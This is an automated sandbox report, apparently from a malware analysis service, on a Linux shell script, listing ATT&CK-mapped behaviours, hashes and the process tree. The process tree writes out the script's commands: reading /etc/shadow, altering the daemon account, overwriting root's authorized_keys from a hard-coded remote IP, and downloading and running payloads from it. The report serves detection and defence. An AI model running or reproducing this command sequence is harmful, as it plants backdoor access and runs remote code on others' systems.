0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec

Analysis

max time kernel
8s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/08/2026, 14:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec.sh
Size 843B
Sample260802-rljrja1thv
SHA256 0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec
MD5 8ac7e9dd331a4947f62484314e08d26e
SHA1 fa5141b6a68f75a4a3b2b0259473c77c50b68948
SHA512 dd58b36c16c1a5335e0fcda06c27de33907dc211613a19b678b012aad7fdf7394bd7d169e5ef550c941c8d371b8c435df7af0a383080840237e4012c7a695a94
TLSH
T111016FE63564AF32B048C266B3647967648CE10423F21798B09A5D76C8DFC84E30AF05
MD5 SHA1 SHA512 TLSH

Score

8^/10

antivm credential_access defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

Adds new SSH keys 1 TTPs 1 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence privilege_escalation

SSH Authorized Keys

T1098.004

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	wget

Modifies password files for system users/ groups 1 TTPs 1 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/passwd	chsh

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
734	chmod
777	chmod
781	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/x	735	0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec.sh
/tmp/o	738	0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec.sh
/tmp/oto	778	0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec.sh
/tmp/oto	782	0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec.sh

Modifies sudoers policy 1 TTPs 1 IoCs

Writes to /etc/sudoers or a drop-in config, potentially granting passwordless root access to a user or process.

Sudo and Sudo Caching

T1548.003

description	ioc	Process
File opened for modification	/etc/sudoers	0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec.sh

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	cat
File opened for reading	/etc/shadow	chsh

Checks system information (zLinux) 1 TTPs 1 IoCs

Check system information on IBM zSystems which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/sysinfo	lscpu

Removes the immutable protection flag from a file 1 TTPs 1 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chattr

Writes file to system bin folder 1 IoCs

description	ioc	Process
File opened for modification	/sbin/.ssh/authorized_keys	cp

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	lscpu
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 8 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/possible	lscpu
File opened for reading	/sys/devices/system/cpu/present	lscpu
File opened for reading	/sys/devices/system/cpu/online	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/thread_siblings	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_siblings	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_id	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/physical_package_id	lscpu
File opened for reading	/sys/devices/system/cpu/kernel_max	lscpu

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/node	lscpu
File opened for reading	/sys/firmware/efi/systab	lscpu

Reads runtime system information 15 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	passwd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/device-tree/compatible	lscpu
File opened for reading	/proc/sys/kernel/osrelease	lscpu
File opened for reading	/proc/efi/systab	lscpu
File opened for reading	/proc/self/status	lscpu
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/bus/pci/devices	lscpu
File opened for reading	/proc/filesystems	chsh

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/oto	wget
File opened for modification	/tmp/oto	curl
File opened for modification	/tmp/x	wget

/tmp/0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec.sh
/tmp/0d8c7072dcf29e4d5a381b58d2621406d1be21f5f0bd39e88090cb7dd6ce58ec.sh
1⤵
- Executes dropped EXE
- Modifies sudoers policy
PID:645
- /bin/uname
  uname -a
  2⤵
  PID:650
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:652
- /bin/cat
  cat /etc/shadow /etc/passwd
  2⤵
  - OS Credential Dumping
  PID:657
- /usr/bin/lscpu
  lscpu
  2⤵
  - Checks system information (zLinux)
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:661
- /usr/bin/chsh
  chsh -s /bin/sh daemon
  2⤵
  - Modifies password files for system users/ groups
  - OS Credential Dumping
  - Reads runtime system information
  PID:667
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:674
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:675
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:676
- /usr/bin/passwd
  passwd daemon --stdin
  2⤵
  - Reads runtime system information
  PID:679
- /bin/mkdir
  mkdir /root/.ssh
  2⤵
  - Reads runtime system information
  PID:681
- /usr/bin/chattr
  chattr -ia "/root/.ssh/*" /root/.ssh
  2⤵
  - Removes the immutable protection flag from a file
  PID:683
- /usr/bin/wget
  wget http://103.56.149.224/cacti/ns1.jpg -O /root/.ssh/authorized_keys
  2⤵
  - Adds new SSH keys
  PID:684
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:696
- /bin/chmod
  chmod 700 /root/ /root/.ssh
  2⤵
  PID:698
- /usr/bin/wget
  wget http://103.56.149.224/cacti/ns3.jpg -O /tmp/x
  2⤵
  - Writes file to tmp directory
  PID:700
- /bin/chmod
  chmod +x /tmp/x
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/x
  /tmp/x
  2⤵
  PID:735
- /bin/mv
  mv /tmp/x /tmp/o
  2⤵
  - Reads runtime system information
  PID:737
- /tmp/o
  /tmp/o
  2⤵
  PID:738
- /bin/rm
  rm -f /tmp/o
  2⤵
  PID:740
- /bin/mkdir
  mkdir /sbin/.ssh
  2⤵
  - Reads runtime system information
  PID:741
- /bin/cp
  cp /root/.ssh/authorized_keys /sbin/.ssh
  2⤵
  - Writes file to system bin folder
  - Reads runtime system information
  PID:742
- /bin/chown
  chown daemon.daemon /sbin/.ssh /sbin/.ssh/authorized_keys
  2⤵
  PID:743
- /bin/chmod
  chmod 700 /sbin/.ssh
  2⤵
  PID:744
- /bin/chmod
  chmod 600 /sbin/.ssh/authorized_keys
  2⤵
  PID:745
- /usr/bin/wget
  wget http://103.56.149.224/cacti/oto -O /tmp/oto
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 755 /tmp/oto
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/oto
  /tmp/oto
  2⤵
  PID:778
- /usr/bin/curl
  curl http://103.56.149.224/cacti/oto -o /tmp/oto
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod 755 /tmp/oto
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/oto
  /tmp/oto
  2⤵
  PID:782
- /bin/rm
  rm -f /tmp/oto
  2⤵
  PID:783

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 1KB
SHA256 9cbfe09e241342a4e6dafecf17363fd690c114f6c9470e8d996824d12b136edc
MD5 68e49a559a50347a4646d1a9d86c97be
SHA1 54e24764e6d62841a23124f3a374d52d6103b2ca
SHA512 465fcab09ac32f3698068704a7570d0c89902b8603d0983c0e81f1952ff16b87ff13489ba3ce802717cf595a19d5d9020e924de2b87b4da605d591688de2ea2a
TLSH
T1ED2125200329A0BC9CC1E85A112B7FE414EC78D14A79FB2DD87BA144ED8BB6D37648B4
MD5 SHA1 SHA512 TLSH

Submit Download

oto

Path /tmp/oto
Size 196B
SHA256 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
MD5 62962daa1b19bbcc2db10b7bfd531ea6
SHA1 d64bae91091eda6a7532ebec06aa70893b79e1f8
SHA512 9002a0475fdb38541e78048709006926655c726e93e823b84e2dbf5b53fd539a5342e7266447d23db0e5528e27a19961b115b180c94f2272ff124c7e5c8304e7
TLSH
T1C0D0129E9183638B442225907AC211D2654D13A6B87645E82D82A48A951857DC5CA69D
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads